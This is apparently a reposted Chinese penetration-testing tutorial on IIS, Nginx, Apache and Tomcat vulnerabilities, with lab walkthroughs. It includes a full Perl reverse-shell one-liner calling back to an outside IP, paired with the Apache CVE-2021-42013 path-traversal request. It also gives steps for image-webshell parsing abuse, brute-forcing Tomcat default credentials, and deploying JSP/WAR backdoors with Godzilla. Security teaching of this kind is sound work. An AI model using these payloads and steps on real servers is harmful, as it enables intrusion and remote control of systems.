一、导图
二、ISS漏洞
<ISS中间件介绍>
ISS中间件（Internet Security and Acceleration Server Middleware）是微软公司推出的一种安全中间件，旨在提供高效的安全代理服务和网络加速功能。它是Microsoft Proxy Server和Microsoft Firewall产品的继承者，也是Microsoft Forefront TMG（Threat Management Gateway）的前身。
- 安全代理服务：ISS中间件可以作为代理服务器，将内部网络和Internet隔离开来，有效防止内部网络遭受外部攻击和入侵。
- 访问控制：ISS中间件可以实现灵活的访问控制，根据用户身份、时间、来源IP等多种因素对网络访问进行限制，保护网络安全。
- 内容过滤：ISS中间件可以对网络流量进行内容过滤，过滤掉不安全的网站和内容，有效避免恶意软件和垃圾邮件等网络威胁。
- 网络加速：ISS中间件可以对网络流量进行缓存和压缩，加快网络访问速度，提高用户体验。
需要注意的是，由于Microsoft Forefront TMG已经停止开发和支持，因此ISS中间件也已经成为一种过时的技术。
ISS这个中间件是Windows上的一个中间件，由于现在的网络环境的情况，ISS这个中间件的使用率已经非常少了，一方面是Windows的份额减少了，另一方面是大部分的web程序使用php、java居多，但是ISS这个中间件在部分情况下不支持，虽然其支持php，但是在php方面使用apache的比较多，所以使用ISS的一般都是一些比较老牌的源码，但是其使用量在变得越来越少了，所以其上面的安全问题就变得越来越少，我们碰到的机率也是越来越小了。
1、短文件
2、文件解析
还有点用，但是用处不大。
3、HTTP.SYS
蓝屏崩溃。
4、cve-2017-7269
条件过老。
三、Nignx漏洞
<Nignx中间件介绍>
Nginx是一个高性能、高可靠性的HTTP和反向代理服务器，也可以用作电子邮件代理服务器、TCP代理服务器等。Nginx采用事件驱动的异步架构和轻量级的内存占用，能够处理高并发的网络请求，并且具有高度的可扩展性和灵活性。以下是Nginx的一些主要特点和用途：
由于其高性能、可靠性和灵活性，Nginx已经成为了广泛使用的服务器软件之一，被广泛用于Web应用、移动应用、物联网、云计算等领域。
1、后缀解析漏洞
配置不当：该漏洞与 Nginx、php 版本无关，属于用户配置不当造成的解析漏洞。
上传一张图片，抓取数据包，可以看到其中间件版本以及文件存储路径。
我们可以首先将文件的路径输入到url后面来观察文件是否存在，可以看到文件确实被上传上去了。
正常来说我们上传的是png图片，是不可能执行处php效果的，但是因为此版本存在漏洞，只需要在url末尾加上一个随便的以php为后缀名的文件，就可以将上传的png内的php代码执行出来。
上传一个图片马后将url更改成下面的样式，可以看到成功将php代码执行了出来。
2、cve-2013-4547
这个漏洞其实和代码执行没有太大关系，其主要原因是错误地解析了请求的URI，错误地获取到用户请求的文件名，导致出现权限绕过、代码执行的连带影响。
影响版本：Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7
3、cve-2021-23017 无 EXP
4、cve-2017-7529 意义不大
四、Apache漏洞
<Apache中间件介绍>
Apache是一款开源的跨平台Web服务器软件，具有高度的可靠性、灵活性和可扩展性，是目前全球应用最为广泛的Web服务器软件之一。以下是Apache的一些主要特点和用途：
-
可靠性：Apache在设计时考虑到了故障恢复和容错处理机制，能够自动检测并处理运行中出现的故障，提高了系统的可靠性和稳定性。
-
可扩展性：Apache具有模块化的设计，可以通过编写自定义模块来扩展其功能，可以根据需要添加或删除模块，提高了软件的灵活性和可扩展性。
-
安全性：Apache提供了多种安全功能，如SSL/TLS协议支持、HTTP访问控制、DDoS攻击防御等，保障了系统的安全性和稳定性。
-
动态内容处理：Apache可以通过FastCGI、uWSGI等协议与后端的应用程序服务器进行通信，实现动态内容的处理和渲染。
由于其可靠性、灵活性和可扩展性，Apache被广泛用于Web应用、移动应用、物联网、云计算等领域，是目前应用最广泛的Web服务器软件之一。
1、漏洞版本简介
2、cve-2021-42013
- RCE
访问靶场地址。
echo;perl -e 'use
Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,ge
tprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i))))
{open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/b
in/sh -i");};'
使用post请求访问，抓取数据包，将数据包更改成下面的样式。
请求地址：
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
3、cve-2021-41773
- 目录穿越
4、cve-2017-15715
- 文件解析
- Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞，在解析 PHP 时，1.phpx0A 将被按照 PHP 后缀进行解析，导致绕过一些服务器的安全策略。
访问漏洞地址
此时再次放包后可以发现没有被拦截，文件成功被上传了上去。
我们访问1.php发现访问不到。
我们抓取数据包。
5、cve-2017-9798
价值不高。
6、cve-2018-11759
价值不高。
7、cve-2021-37580
插件问题。
四、Tomcat漏洞
<Tomcat中间件介绍>
Tomcat是一款开源的Web应用服务器软件，是Apache软件基金会的一个开源项目，其主要用途是运行Java Servlet和Java Server Pages（JSP）程序。以下是Tomcat的一些主要特点和用途：
-
轻量级：Tomcat相对于其他的Web服务器软件而言，是一款轻量级的软件，它的安装和配置比较简单，适合中小型企业和个人使用。
-
Java EE支持：Tomcat可以支持Java EE规范中的一些关键组件，如Servlet、JSP、WebSocket等，方便开发人员进行Java Web应用程序的开发和部署。
-
可扩展性：Tomcat支持通过编写自定义的Servlet和Filter等组件来扩展其功能，可以根据需要添加或删除组件，提高了软件的灵活性和可扩展性。
-
安全性：Tomcat提供了多种安全功能，如SSL/TLS协议支持、访问控制、身份认证等，保障了Web应用程序的安全性和稳定性。
-
兼容性：Tomcat与其他Java EE服务器（如JBoss、WebLogic等）兼容性良好，可以与其它应用服务器无缝集成。
由于其轻量级、可扩展性和Java EE支持等特点，Tomcat被广泛用于Web应用程序的开发和部署，是Java Web开发中最受欢迎的Web服务器软件之一。
1、弱口令猜解
进入到了其后台管理的地方，可以看到需要输入账号和密码（其网站的地址为默认的，可以通过直接访问下图中的url来进行尝试）。
我们使用常见的默认账号密码来进行尝试登录，如果没有登录成功，则可以使用爆破工具来对其进行爆破，如burp suite等。
进入到这里我们就可以取得网站权限了，此时上传一个jsp后门即可，但是其不能直接对其进行解析，就需要我们使用war包来进行解析，下面来介绍如何制作war包。
将生成的文件进行压缩。
将修改号文件上传上去。
此时可以看到我们上传的文件。
此时只需要在url后面将文件名给添加上去即可，访问后得到空白页面就是我们想要的结果。
来到哥斯拉内
可以看到测试成功。
点击“进入”。
可以看到我们成功进入了网站的后台。
2、cve-2017-12615
- 文件上传
- 当存在漏洞的Tomcat运行在Windows/Linux主机上，且启用了HTTP PUT请求方法(例如，将readonly初始化参数由默认值设置为false)，攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包合任意代码的JSP的webshell文件，JSP文件中的恶意代码将能被服务器执行，导致服务器上的数据泄露或获取服务器权限。
- 影响版本：Apache Tomcat 7.0.0-7.0.79
启动漏洞环境。
访问下面的页面。
抓取数据包。
再次访问，发现页面存在了。
此时使用哥斯拉进行连接即可，与上面的流程一样，这里就不再进行介绍了。
3、cve-2020-1938
- 文件读取
- Apache TomcatAJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp目录下的任意文件。若服务器端同时存在文件上传功能，攻击者可进一步结合文件包含实现远程代码的执行。
- 影响版本：
Tomcat 6.*
Tomcat 7.*< 7.0.100
Tomcat 8.*< 8.5.51
Tomcat 9. < 9.0.31启动漏洞环境。
使用网上下载的exp执行下面的命令来尝试文件读取，可以看到读取成功了。
4、cve-2020-11996
5、cve-2020-9484
原文地址:https://blog.csdn.net/weixin_62808713/article/details/130474984
本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。
如若转载，请注明出处：http://www.7code.cn/show_37082.html
如若内容造成侵权/违法违规/事实不符，请联系代码007邮箱：suwngjj01@126.com进行投诉反馈，一经查实，立即删除！
